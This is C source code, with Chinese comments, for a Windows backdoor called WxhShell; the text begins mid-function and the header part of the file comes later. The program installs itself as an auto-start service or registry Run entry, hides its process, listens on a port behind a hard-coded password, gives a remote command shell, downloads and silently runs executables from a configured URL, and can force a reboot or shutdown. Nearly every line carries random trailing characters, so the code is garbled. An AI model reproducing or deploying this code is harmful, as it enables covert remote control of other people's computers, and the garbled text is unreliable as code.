    if(Boot(SHUTDOWN)) ju^"vw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Vqmv<F;$Z  
    else { *[xNp[4EU  
    closesocket(wsh); ;WS7.  
    ExitThread(0); QR5,_wJ&  
    } (: TGev  
    break; UiK+c30FU  
    } K"k"ml<4E  
  // 获取shell ]PzTl {]  
  case 's': { r$r&4d Y  
    CmdShell(wsh); k~jKJb-_  
    closesocket(wsh); L_gsG|xX  
    ExitThread(0); aC,vh1")F  
    break; 0"kE^=  
  } 3KG)6)1*  
  // 退出 hdf8U  
  case 'x': { YoF\ MT]W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q3x;_y^  
    CloseIt(wsh); Q}Ze-JIL$  
    break; XJJ[F|k~  
    } V"7<[u]K|  
  // 离开 < R|)5/9  
  case 'q': { 7z g)h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iVq#aXN  
    closesocket(wsh); /G)KkBC  
    WSACleanup(); 7/&C;"  
    exit(1); -[f "r`  
    break; T`g?)/  
        } !k:zLjtp  
  } @vdc)vN[ /  
  }  UL)"  
8)W?la8'p  
  // 提示信息 ^/%o%J&Hz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V<HOSB7  
} AU\xNF3  
  } t*Vao  
j$|j8?  
  return; qP;{3FSkAF  
} o0aO0Y  
K#l  -?  
// shell模块句柄 5DkK'tCI9Z  
int CmdShell(SOCKET sock) )4!CR/ao  
{ 0H OoKh  
STARTUPINFO si; lTV@b&  
ZeroMemory(&si,sizeof(si)); o5=)~D{/G3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NoJnchiU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &h7smZO5j  
PROCESS_INFORMATION ProcessInfo; _@#uIOcE  
char cmdline[]="cmd"; ;/?Z<[B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >}<29Ii  
  return 0; |t&G&)~:  
} 0NCOz(L/  
ot@|blVC8  
// 自身启动模式 3@PUg(M  
int StartFromService(void) +p9LE4g7Q  
{ U^[cYTG  
typedef struct ,30FGz^i  
{ #.E\,N'  
  DWORD ExitStatus; 24H^ hN9  
  DWORD PebBaseAddress; |&elZ}8  
  DWORD AffinityMask; @tr&R==([  
  DWORD BasePriority; |TB@@ 2Ky&  
  ULONG UniqueProcessId; lBlSNDs  
  ULONG InheritedFromUniqueProcessId; |t4Gz1"q=8  
}   PROCESS_BASIC_INFORMATION; 'w`SBYQ5  
~t{D5#LVHa  
PROCNTQSIP NtQueryInformationProcess; 9{)Z5%Kz  
<[Tq7cO0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t4f (Y,v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zB#_:(1qK  
LyuSZa]  
  HANDLE             hProcess; MekT?KPQ{L  
  PROCESS_BASIC_INFORMATION pbi; ( oQ'4,F  
hsTFAfa'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }mKGuCoH>  
  if(NULL == hInst ) return 0; hFsA_x+L;  
jzl?e[qPA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Jh37pI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tJUVw=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {E3xI2  
Ne &Xf  
  if (!NtQueryInformationProcess) return 0; o,?!"*EP  
=7 Jy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pT("2:)x  
  if(!hProcess) return 0; V*6l6-y~Ih  
l;XU#6{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $Cz1C  
42b.7E  
  CloseHandle(hProcess); m0=cMVCA!  
rQ`\JE&`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DNm(:%)0  
if(hProcess==NULL) return 0; u iBl#J Q  
|7svA<<[  
HMODULE hMod; 9U#\nXM  
char procName[255]; Z{Vxr*9oO  
unsigned long cbNeeded;  FovE$Dj]  
+<pVf%u5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nGq]$h  
Ef2Y l  
  CloseHandle(hProcess); y]yine  
jMN)?6$=  
if(strstr(procName,"services")) return 1; // 以服务启动 u|(Ux~O  
XOu+&wOu  
  return 0; // 注册表启动 SV$nyV  
} TRF]i/Bs  
lemVP'cn  
// 主模块 p Tcbq  
int StartWxhshell(LPSTR lpCmdLine) *-?Wcz  
{ 3.Ji5~  
  SOCKET wsl; Oq*n9V  
BOOL val=TRUE; tRLE,(S,-  
  int port=0; xU@1!%l@  
  struct sockaddr_in door; _,DO~L  
4cott^K.  
  if(wscfg.ws_autoins) Install(); J6*f Uh  
TNh=4xQ}  
port=atoi(lpCmdLine); j'3j}G%\T  
tS?a){^:c  
if(port<=0) port=wscfg.ws_port; *R5`.j =  
{bT9VZ>  
  WSADATA data; GHv{   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Vd,'  s  
7e1dEgn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *3;UAfHv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T |37#*c  
  door.sin_family = AF_INET; (jMtN?&0H-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -M6L.gi)oJ  
  door.sin_port = htons(port); tC^ 1}  
'9'l=Sh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gXLCRn!iR  
closesocket(wsl); @zo7.'7P   
return 1; G;/Q>V  
} YnSbw3U.I  
5QAdcEcN@O  
  if(listen(wsl,2) == INVALID_SOCKET) { 0Y7$d`  
closesocket(wsl); B1E$v(P3M  
return 1; '0Lov]L  
} nt=x]wEC  
  Wxhshell(wsl); ndr)3tuYu  
  WSACleanup(); s8^~NX(xdy  
88 {1mA,v  
return 0; fb23J|"  
t\zbEN  
} u+m4!`  
C)OG62  
// 以NT服务方式启动 J7:9_/ e0T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cA<<& C  
{ H#35@HF*o  
DWORD   status = 0; 3 -tO;GKb  
  DWORD   specificError = 0xfffffff; :V-k'hm &  
69Nw/$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 80|onP\L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <|a=hHPi:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \^9pW 2v  
  serviceStatus.dwWin32ExitCode     = 0; EJ`Q8uz  
  serviceStatus.dwServiceSpecificExitCode = 0; :/6()_>bO  
  serviceStatus.dwCheckPoint       = 0; b4 CF`BG  
  serviceStatus.dwWaitHint       = 0; RAV^D.  
'@bJlJB9>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '99@=3AB:`  
  if (hServiceStatusHandle==0) return; GzdRG^vN  
fYB*6Xb,w  
status = GetLastError(); .$Y? W<  
  if (status!=NO_ERROR) oE1M/*myS  
{ {SJsA)9:#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )B;M  
    serviceStatus.dwCheckPoint       = 0; +oZH?N4yaM  
    serviceStatus.dwWaitHint       = 0; b0 &  
    serviceStatus.dwWin32ExitCode     = status; +Qs!Nhsq  
    serviceStatus.dwServiceSpecificExitCode = specificError; TiyUr [  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m2(E>raV6  
    return; T6uMFD4 |  
  } !{(ls<  
`a >?UUT4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +%XnMl  
  serviceStatus.dwCheckPoint       = 0; ]boE{R!I  
  serviceStatus.dwWaitHint       = 0; L6+C]t}>6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :m K xa  
} Me,<\rQ  
!MoOKW  
// 处理NT服务事件,比如:启动、停止 Yl~$V(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "]#'QuR  
{ ($62o&I  
switch(fdwControl) *g_w I%l  
{ UW6VHA>  
case SERVICE_CONTROL_STOP: 26.)Ur<F  
  serviceStatus.dwWin32ExitCode = 0; &tj0M.-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6aY>lkp  
  serviceStatus.dwCheckPoint   = 0;  q>-R3HB  
  serviceStatus.dwWaitHint     = 0; 1[-vD=  
  { {E51Kv&_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;1`!wG-DD  
  } 1HbFtU`y~  
  return; u]M\3V.  
case SERVICE_CONTROL_PAUSE: 99u/fkL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .x-J44i@/  
  break; $mpO?D J~  
case SERVICE_CONTROL_CONTINUE: ^I`a;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Blk}I  
  break; 'Jydu   
case SERVICE_CONTROL_INTERROGATE: % :/_f  
  break; MDHb'<o?y  
}; ,q#2:b<E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l^W uS|G[  
} MQ`%``  
HCj> ,^<h  
// 标准应用程序主函数 mI"D(bx\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ` 1+%}}!$u  
{ VRbQdiZ{  
[b/o$zR  
// 获取操作系统版本 Yw)Fbt^  
OsIsNt=GetOsVer(); -bS)=L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &RO7{,`  
'#D8*OP^  
  // 从命令行安装 Svw<XJ   
  if(strpbrk(lpCmdLine,"iI")) Install(); ((<`zx  
()\jCNLT  
  // 下载执行文件 9I .^LZ"  
if(wscfg.ws_downexe) { yMxTfR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B!;+_%P76  
  WinExec(wscfg.ws_filenam,SW_HIDE); -V5w]F'  
} 68e[:wf  
[T^?Q%h  
if(!OsIsNt) { dJD(\a>r.u  
// 如果时win9x,隐藏进程并且设置为注册表启动 OlY$ v@|  
HideProc(); CU$#0f>  
StartWxhshell(lpCmdLine); bd== +   
} >c~RI7uu  
else m`}{V5;  
  if(StartFromService()) xu\eXx6H  
  // 以服务方式启动 n]yEdL/1  
  StartServiceCtrlDispatcher(DispatchTable); ashar&'  
else x[i`S8D  
  // 普通方式启动 PeTA$Yl  
  StartWxhshell(lpCmdLine); e2w&&B-  
EzpFOqJG  
return 0; 5=L} \ankn  
} -RMi8{  
Ef@,hX  
Ck'aHe22'  
cb$-6ZE/  
=========================================== vFQ,5n;fF  
O0hu qF$K  
iw\%h9  
tFM$#JN  
57Z-  
h`Tz5% n  
" L/Vx~r`P  
vH[Pb#f-  
#include <stdio.h>  {mTytT  
#include <string.h> 42+#<U7T  
#include <windows.h> A.En+-[\  
#include <winsock2.h> QDTNx!WL  
#include <winsvc.h> $yu?.b 9H#  
#include <urlmon.h> ub K7B |p  
rv7{Ow_Y  
#pragma comment (lib, "Ws2_32.lib") z|N3G E(.@  
#pragma comment (lib, "urlmon.lib") rHz||jjU  
M 2q"dz   
#define MAX_USER   100 // 最大客户端连接数 %,UPJn  
#define BUF_SOCK   200 // sock buffer Vf $Dnu@}z  
#define KEY_BUFF   255 // 输入 buffer x#H 3=YD*  
;\{`Ci\  
#define REBOOT     0   // 重启 f_=~H<j!  
#define SHUTDOWN   1   // 关机 ,S&z<S_  
"%6/a7S  
#define DEF_PORT   5000 // 监听端口 V/%~F6e  
V diJ>d[  
#define REG_LEN     16   // 注册表键长度 #FH[hRo=6  
#define SVC_LEN     80   // NT服务名长度 "r'ozf2 \  
|E)aT#$f'  
// 从dll定义API \Qy$I-Du  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ",Cr,;]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PXk?aJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !L24+$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,"2TArC'z  
~E5z"o6$  
// wxhshell配置信息 D Ml?o:l  
struct WSCFG { <q2?S  
  int ws_port;         // 监听端口 z rfUQO  
  char ws_passstr[REG_LEN]; // 口令 l.+yn91%>  
  int ws_autoins;       // 安装标记, 1=yes 0=no h6D^G5i  
  char ws_regname[REG_LEN]; // 注册表键名 ~O6\6$3b5E  
  char ws_svcname[REG_LEN]; // 服务名 p&b5% 4P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PnYBy| yl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H17-/|-;0!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #0Ds'pE-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9Ul(GI(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yxWO [ Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ec3<%+0f  
;2xO`[#  
}; c1XX~8  
f!_ ctp  
// default Wxhshell configuration SU.ythU2,c  
struct WSCFG wscfg={DEF_PORT, MXtkP1A `  
    "xuhuanlingzhe", 3'`dFY,  
    1, } ^kL|qmjR  
    "Wxhshell", yd_ (?V&;_  
    "Wxhshell", vX|UgK?2^  
            "WxhShell Service", w3T]H_V  
    "Wrsky Windows CmdShell Service", p{$p $/A  
    "Please Input Your Password: ", F>hZ{   
  1, `Ityi}  
  "http://www.wrsky.com/wxhshell.exe", <%?#AVU[  
  "Wxhshell.exe" o4y']JSN  
    }; ~FU@wV^   
d^E [|w ;  
// 消息定义模块 4,p;Km&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {Qu"%h.Al  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2}U!:bn(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KzU lTl0  
char *msg_ws_ext="\n\rExit."; muON> ^MbC  
char *msg_ws_end="\n\rQuit."; <@v ]H@ E  
char *msg_ws_boot="\n\rReboot..."; f. }c7  
char *msg_ws_poff="\n\rShutdown..."; C#0Qd%  
char *msg_ws_down="\n\rSave to "; Ah69 _>N`S  
xg@NQI@7   
char *msg_ws_err="\n\rErr!"; ),}AI/j;zY  
char *msg_ws_ok="\n\rOK!"; rVnd0K  
"2ru7Y"  
char ExeFile[MAX_PATH]; _HOIT  
int nUser = 0; r=.A'"Kf  
HANDLE handles[MAX_USER]; !^c@shLN4  
int OsIsNt; dEa<g99[?  
2BXy<BM @  
SERVICE_STATUS       serviceStatus; ~nLN`H d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !U%T&?E l  
 >w6taX  
// 函数声明 >o,^b\  
int Install(void); /#NYi,<{X  
int Uninstall(void); Q n)d2-<  
int DownloadFile(char *sURL, SOCKET wsh); $tqJ/:I  
int Boot(int flag); T#@lDpO  
void HideProc(void); y[};J vk  
int GetOsVer(void); K>:]Bx#F7  
int Wxhshell(SOCKET wsl); k;W@LfP  
void TalkWithClient(void *cs); KL,/2 (  
int CmdShell(SOCKET sock); _*M42<wcO  
int StartFromService(void); g`^X#-!(  
int StartWxhshell(LPSTR lpCmdLine); bBcp9C)iY  
&C<yfRDu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jhgX{xc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >4` dy  
w'4AJ Q|;  
// 数据结构和表定义 :nN1e  
SERVICE_TABLE_ENTRY DispatchTable[] = W*DVi_\$y  
{ =<@2#E)  
{wscfg.ws_svcname, NTServiceMain}, ! |waK~jK  
{NULL, NULL} ?4H#G)F  
}; Z6C=T;w  
@oP_;G  
// 自我安装 #65^w=Sp}  
int Install(void) ? 8aaD>OR$  
{ /wShUR{  
  char svExeFile[MAX_PATH]; eYUr-rN+)z  
  HKEY key; uE/T2BX*  
  strcpy(svExeFile,ExeFile); .0 )Y  
Yj|eji7y  
// 如果是win9x系统,修改注册表设为自启动 Vgb *% I  
if(!OsIsNt) { AI vXb\wL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1+;C`bnA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xl7aGlH  
  RegCloseKey(key); M,5j5<7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d$ACDX2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g1E~+@  
  RegCloseKey(key); ^)!F9h+  
  return 0; :#E*Y8-  
    } .{KjEg 6  
  } `?g`bN`Vn  
} bu7'oB~:V^  
else { TcTM]ixr  
q#A(gyy  
// 如果是NT以上系统,安装为系统服务 l ASL8O&\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n]_[NR) i  
if (schSCManager!=0) rPNb\Ri  
{ 63|+2-E2Q  
  SC_HANDLE schService = CreateService BcjP+$k4_  
  ( ^mWybPqx  
  schSCManager, d,vNem-Z*L  
  wscfg.ws_svcname, h}_~y'^!  
  wscfg.ws_svcdisp, ?<&O0'Q  
  SERVICE_ALL_ACCESS, G0 J4O!3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c !ZM  
  SERVICE_AUTO_START, yq-=],h  
  SERVICE_ERROR_NORMAL, 5RH2"*8T  
  svExeFile, >Iewx Gb>  
  NULL, ,Y?sfp  
  NULL, % }|cb7l  
  NULL, yH 9!GS#  
  NULL, |s#'dS;  
  NULL ZoB*0H-  
  ); @$"J|s3M  
  if (schService!=0) mffn//QS  
  { NgCuFL(Ic  
  CloseServiceHandle(schService);  XY.5Rno4  
  CloseServiceHandle(schSCManager); @RFs/'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \I-#1M  
  strcat(svExeFile,wscfg.ws_svcname); TC~Q G$NW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v[@c*wo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 87)zCq  
  RegCloseKey(key); /){KOCBl;  
  return 0; ,oxcq?7#4  
    } "vCM}F  
  } s5.AW8X=?*  
  CloseServiceHandle(schSCManager); <e]Oa$  
} q+ KzIde|%  
} 1aVa0q<  
J`q]6qf#  
return 1; pMg3fUIM  
} \;-fi.Hrf$  
|6UtW{2I/  
// 自我卸载 [ xOzzp4  
int Uninstall(void) ;= j@, yu  
{ I$NhXZ)KT  
  HKEY key; a07@C  
tkQH\5  
if(!OsIsNt) { "'8KV\/D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .@-9'<K?~  
  RegDeleteValue(key,wscfg.ws_regname); N"/-0(9[  
  RegCloseKey(key); 8zLY6@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^=n+T7"J  
  RegDeleteValue(key,wscfg.ws_regname); @D-AO_  
  RegCloseKey(key); ^J Z^>E~  
  return 0; \ \BCcr\l  
  } ~U(,TjJb  
} {e|*01hE  
} .6O"| Mqb  
else { uPYmHA} _/  
gj\)CBOv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +_v$!@L8  
if (schSCManager!=0) ; Sd\VR  
{ lZ8CY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 72sD0)?A  
  if (schService!=0) 6C>_a*w  
  { PiV7*F4qI.  
  if(DeleteService(schService)!=0) { n9pN6,o+  
  CloseServiceHandle(schService); E_F5(x SA  
  CloseServiceHandle(schSCManager); i,V;xB2  
  return 0; nJRS.xs  
  } tx"sH]n  
  CloseServiceHandle(schService); l no vykR  
  } ;U1UFqZ`  
  CloseServiceHandle(schSCManager); 6{[pou&  
} Am8x74?  
} 87 }&`  
fP3_d  
return 1; 6:U$w7P0 e  
} =ji1S}e~p  
AC O)Dt(Y  
// 从指定url下载文件 GV)<Q^9  
int DownloadFile(char *sURL, SOCKET wsh) sS&Z ,A  
{ KbL V' %D  
  HRESULT hr; \;VhYvEH  
char seps[]= "/"; ve ~05mg  
char *token; EF pIp4_Y  
char *file; mcz+ P |  
char myURL[MAX_PATH]; f:g,_|JD$  
char myFILE[MAX_PATH]; OmM=o*d  
+\li*G]:J  
strcpy(myURL,sURL); JKer//ng4  
  token=strtok(myURL,seps); !R*-R.%  
  while(token!=NULL) f<+ 4rHT  
  { bX.ja;;   
    file=token; @i^~0A#q*  
  token=strtok(NULL,seps); $Vc~/>  
  } ut >4U'.H  
o7B[R) 4  
GetCurrentDirectory(MAX_PATH,myFILE); 5L:1A2Z?c  
strcat(myFILE, "\\"); ]zO/A4  
strcat(myFILE, file); :16P.z1L  
  send(wsh,myFILE,strlen(myFILE),0); Lokl2o `  
send(wsh,"...",3,0); t+,4Ya|Xj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x^"E S%*  
  if(hr==S_OK) Ladsw  
return 0; Xtwun  
else }SIGPVM  
return 1; axHK_1N{  
]$U xCu  
} 0y<wvLv2C  
7W6cM%_B  
// 系统电源模块 g}p;\o   
int Boot(int flag) [4fU+D2\d  
{ iK?b~Q  
  HANDLE hToken; "<}&GcJbz  
  TOKEN_PRIVILEGES tkp; J5h+s-'  
&V|>dLT>A  
  if(OsIsNt) { e4~>G?rM_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "Jjs"7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F}"]92  
    tkp.PrivilegeCount = 1; LqdY Qd51  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LZ@|9!KDw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &z"krM]G  
if(flag==REBOOT) { j CTAKaq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }F+zs*S  
  return 0; Qu,8t 8  
} 9h/>QLx  
else { P}.7Mehf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B?$ "\;&  
  return 0; 9N%JP+<89  
} H _Va"yTO6  
  } nhG J  
  else { FWH}j0Gj|  
if(flag==REBOOT) { j3q~E[Mz\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mDh1>>K'~  
  return 0; rF\ "w0J_  
} R),zl_d_  
else { .1 %T W)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pT?Q#,fh  
  return 0; yL;M"L  
} .To;"D;j,  
} H3{GmV8  
l!#m&'16"  
return 1; ]|_\xO(  
} 9w9jpe#  
nA?Hxos  
// win9x进程隐藏模块 DO7W}WU  
void HideProc(void) r_EcMIuk  
{ fw oQ' &  
fQLt=Lrp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); , @m@S ^  
  if ( hKernel != NULL ) vIvVq:6_3  
  { EQqx+J&!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >;z<j$;F<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PpLU  
    FreeLibrary(hKernel); CE15pNss  
  } +i\&6HGK;-  
]pEV}@7  
return; ^\B :R,  
} a?yMHb{F  
@|a>&~xX  
// 获取操作系统版本 v#=`%]mL  
int GetOsVer(void) ~x{.jn  
{ K^r)CCO  
  OSVERSIONINFO winfo; E,n}HiAz7V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x\2?ym@  
  GetVersionEx(&winfo); $8l({:*q0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bVmA tm[  
  return 1; ~.%K/=wK@  
  else Oi"a:bCU  
  return 0; _= #zc4U  
} W4;m H}#0  
gn5)SP8  
// 客户端句柄模块 !L5jj#0  
int Wxhshell(SOCKET wsl) A?TBtAe  
{ E{HY!L[  
  SOCKET wsh; &h*S y  
  struct sockaddr_in client; mj?16\|]  
  DWORD myID; M8k"je7`s  
7?OH,^  
  while(nUser<MAX_USER) ;X,1&#I  
{ m8623D B"  
  int nSize=sizeof(client); QZ `tNq :/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3Rm#-T s  
  if(wsh==INVALID_SOCKET) return 1; d2X[(3  
V8=Y@T,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C8a*Q"  
if(handles[nUser]==0) D 71;&G]0  
  closesocket(wsh); (h']a!  
else M.h`&8  
  nUser++; 6)pH |d.FR  
  } w@2Vts  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); reo{*) %  
(I@bkMp  
  return 0; ,(a5@H$f  
} avmcw~ TF  
2/,0iwj-  
// 关闭 socket %hlspI(J  
void CloseIt(SOCKET wsh) P#v*TD'  
{ X &2oPo  
closesocket(wsh); i?Ss:v^  
nUser--; ,wwZI`>-  
ExitThread(0); .s/fhk,  
} *9ywXm&?  
RkF D*E$  
// 客户端请求句柄 u6:pV.p  
void TalkWithClient(void *cs) d@mo!zu  
{  2A4FaBq"  
8\<jyJ  
  SOCKET wsh=(SOCKET)cs; p}Fs'l?7Rq  
  char pwd[SVC_LEN]; dBO@6*N4c  
  char cmd[KEY_BUFF]; VC5_v62&.  
char chr[1]; KlK`;cr?  
int i,j; U=bEA1*@0  
@|ye qy_:  
  while (nUser < MAX_USER) { 2?Ye*-  
WS& kx~oQ  
if(wscfg.ws_passstr) { TJ?g%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K[ .JlIP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,n2i@?NHZ  
  //ZeroMemory(pwd,KEY_BUFF); -#-p1^v}  
      i=0; Dj\e@?Y  
  while(i<SVC_LEN) { DjMf,wX-{  
(Lh#`L?x  
  // 设置超时 57F%j3.|/  
  fd_set FdRead; vUC!fIG  
  struct timeval TimeOut; x0a.!  
  FD_ZERO(&FdRead); df+t:a  
  FD_SET(wsh,&FdRead); gPS&^EdxA  
  TimeOut.tv_sec=8; M8w5Ob  
  TimeOut.tv_usec=0; }~Q"s2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h72UwJ2rw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o/ [  
o6"*4P|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +.[\g|G  
  pwd=chr[0]; _9:@Vl]Q@  
  if(chr[0]==0xd || chr[0]==0xa) { Vbh6HqAHxJ  
  pwd=0; `,wu}F85  
  break; Y^$HrI(vq  
  } <(@Syv)  
  i++; %Qn(rA@9  
    } "a1O01n  
Np)3+!^1"  
  // 如果是非法用户,关闭 socket &R+#W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jdeva t,&u  
} us?&:L|!=  
ba@ax3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x}fn 'iUnm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3L-^<'~-k;  
yh;Y,;4  
while(1) { Z.&\=qiY  
~Pk0u{,4XQ  
  ZeroMemory(cmd,KEY_BUFF); 4yMW^:@  
m$>iS@R  
      // 自动支持客户端 telnet标准   EruP  
  j=0; ,KW;2t*IQ@  
  while(j<KEY_BUFF) { :lcea6iO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9T2xU3UyY  
  cmd[j]=chr[0]; /I&wj^   
  if(chr[0]==0xa || chr[0]==0xd) { _17|U K|N  
  cmd[j]=0; e^).W3SK]  
  break; Z+s%;f;  
  } crA :I"I  
  j++; z?8~[h{i%  
    } x_@i(oQ:_  
mXjgs8 s  
  // 下载文件 _3Q8n|  
  if(strstr(cmd,"http://")) { Iyk6=&?j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LR)& [{Kk  
  if(DownloadFile(cmd,wsh)) ']51jabm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #;9H@:N  
  else |oKu=/[K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <v]9lw'  
  } M\/XP| 7  
  else { t> Q{yw  
x49!{}  
